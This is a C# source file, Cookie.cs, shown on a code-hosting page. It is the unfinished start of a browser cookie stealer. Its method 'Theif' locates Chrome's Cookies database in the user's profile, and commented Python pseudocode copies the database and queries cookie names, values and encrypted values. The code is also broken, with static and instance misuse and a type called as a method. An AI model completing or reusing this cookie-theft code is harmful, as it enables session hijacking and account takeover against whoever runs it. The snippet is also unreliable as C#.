-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCookie.cs
38 lines (26 loc) · 965 Bytes
/
Cookie.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
using System.Web;
using Microsoft.SqlServer.Management.Utility;
namespace gigas;
// file under construction
public class Cookie
{
public static void Theif()
{
string usr = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
string dbp = usr + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
Microsoft.Practices.EnterpriseLibrary.Data.Sql.SqlDatabase(this.connectionString);
String querystring = null;
// psudeo code to impl later
/*
db_copy = db_path + '_copy'
shutil.copyfile(db_path, db_copy)
# Connect to the database
conn = sqlite3.connect(db_copy)
cursor = conn.cursor()
# Fetch the cookies
query = "SELECT host_key, name, value, encrypted_value FROM cookies WHERE host_key = ?"
cursor.execute(query, (host_key,))
cookies = cursor.fetchall()
*/
}
}